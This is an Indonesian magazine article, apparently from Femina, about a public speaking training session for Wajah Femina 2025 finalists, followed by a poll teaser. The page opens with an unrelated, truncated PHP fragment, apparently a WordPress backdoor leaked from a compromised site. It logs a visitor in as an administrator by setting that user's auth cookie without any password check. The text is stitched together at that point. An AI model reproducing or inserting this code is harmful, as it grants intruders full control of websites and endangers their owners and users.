user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Tip Kamidia Radisti untuk Bangun Rasa Percaya Diri dan Karakter Perempuan Berdaya

3 Oct 2025

Kamidia Radisti memberikan pelatihan public speaking di Galeri Indonesia Kaya kepada Finalis Wajah Femina 2025. Foto: Dok. Femina/Ifan Ario


Hari ketiga Karantina Wajah Femina 2025 (1 Oktober 2025) berlangsung penuh energi di Galeri Indonesia Kaya, Grand Indonesia Jakarta.

Suasana ruang coaching clinic berubah menjadi arena pembelajaran yang hidup ketika Kamidia Radisti, Main Facilitator TALKINC sekaligus Finalis Wajah Femina 2006, membuka sesi bertema Excellent Public Speaking Training.

Kebetulan kelas ini diikuti 20 Finalis Wajah Femina 2025 sebelum penjurian final. Gak heran jika ilmu yang didapat di sesi ini pas banget untuk selanjutnya menghadapi para juri.

Sebagai MC, host, dan TV presenter berpengalaman, Disti, panggilan akrab Kamidia, membagikan pengalamannya penuh semangat dan kehangatan. “Waktu ikut Wajah Femina, rasanya luar biasa bisa berdiri di atas panggung dan belajar menghadapi juri. Dari sanalah perjalanan saya sebagai sportcaster belasan tahun dimulai,” kenangnya.
 Suasana kelas terasa hangat dan inspiratif saat para peserta belajar teknik komunikasi efektif. Foto: Dok. Femina/Nidia Okta Zuhayr


Kelas dimulai dengan suasana yang ringan namun penuh makna. Disti mengajak peserta mengingat pengalaman gugup menjelang penjurian—tangan dingin, jantung berdebar, bahkan sulit tidur. “Itu hal yang manusiawi,” ujarnya. “Tapi di balik rasa mulas itu, ada semangat besar yang sedang tumbuh.”

Pelatihan berlanjut dengan pembahasan tiga elemen utama dalam komunikasi: Isi pesan, suara, dan visual.

“Isi pesan hanya menyumbang 10% dari dampak komunikasi,” jelas Disti. “Sisanya bergantung pada intonasi, ekspresi, dan visual yang membentuk 70% kesan pertama.”

Ia menekankan pentingnya storytelling dan personal branding dalam berbicara. “Setiap perempuan membawa karakter unik. Saat bicara di depan publik, yang terlihat bukan hanya kata-kata, tapi juga siapa dirinya dan apa nilai yang diperjuangkan,” kata Disti.
 

Para finalis aktif membagikan pandangan mereka selama kelas berlangsung. Foto: Dok. Femina/Vidi Putra Hagiansyah

Dalam sesi interaktif, peserta diajak berbagi pandangan tentang makna “berdaya.” Neida Arumdhani berpendapat, “Berdaya itu memberikan dampak dan manfaat bagi orang lain.”

Sementara Amanda Gracia Putri Mahardika menambahkan, “Ketika apa yang kita punya bisa bermanfaat dan memuliakan, di situlah keberdayaan muncul.”

Clara Claudya Umboh juga melihatnya dari sisi empati. “Berdaya bukan hanya dari dalam diri, tapi juga bagaimana memberdayakan orang lain dengan percaya diri.”
Advertisement

Menanggapi beragam perspektif itu, Disti tersenyum. “Kata ‘berdaya’ mungkin sederhana, tapi artinya luas. Tak ada benar atau salah dalam menjawab. Setiap perempuan punya kisah dan caranya sendiri untuk menunjukkan kekuatan.”

Pelatihan kemudian berlanjut dengan simulasi berbicara di depan juri. Disti mengajarkan bagaimana mengatur opening, content, dan closing agar pesan tersampaikan secara efektif.

“Opening cukup 10%, isi pesan 70%, dan penutup 20%,” jelasnya. “Gunakan waktu dengan struktur yang jelas dan pembawaan yang hangat.”

Ia juga menekankan pentingnya eye contact dan pengendalian bahasa tubuh. “Tatap juri yang memberi energi positif. Saat bicara, biarkan kehangatan pribadi muncul lewat ekspresi, karena public speaking bukan hanya soal suara, tapi juga rasa.”

Percaya diri adalah hal penting yang ditekankan Disti. Ayesha Felice Nayyara Zain punya cerita tersendiri tentang percaya diri dari pengalaman hari pertama karantina.

“Kami belajar mix and match dan mengenakan wastra Indonesia. Dari situ, kami sadar bahwa budaya bisa jadi identitas dan sumber percaya diri,” ujar Ayesha.

Disti menegaskan pesan tersebut, “Perempuan Indonesia harus bisa menampilkan identitasnya dengan bangga. Berdaya, bergaya, dan berbudaya—tiga hal yang harus seimbang.”
 

Di Galeri Indonesia Kaya, setelah ikut kelas Excellent Public Speaking, 20 Finalis Wajah Femina 2025 melakukan penjurian final. Foto: Dok. Femina/Vidi Putra Hagiansyah


Berdaya, bergaya, berbudaya tentu menjadi semangat dan panduan seluruh finalis dalam setiap langkah menuju malam puncak. Melalui latihan, refleksi diri, dan pembelajaran, mereka tidak hanya berlatih tampil percaya diri di atas panggung, tapi juga menumbuhkan kemampuan untuk menjadi sosok yang mampu menginspirasi.

Rangkaian Karantina Wajah Femina 2025 tak henti mengusung semangat pemberdayaan dan pengembangan potensi perempuan muda Indonesia. Setiap peserta didorong untuk tampil autentik, percaya diri, dan siap menghadapi tantangan masa depan dengan karakter yang kuat.

Wajah Femina 2025 didukung oleh Indonesia Kaya, ghd Indonesia, dan Garmin Indonesia, yang berbagi visi untuk menginspirasi dan mendukung kemajuan perempuan Indonesia melalui kolaborasi dan karya nyata. (f)
 

Laili Damayanti


Topic

#WajahFemina2025, #PerempuanBerdaya, #BerdayaBergayaBerbudaya

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?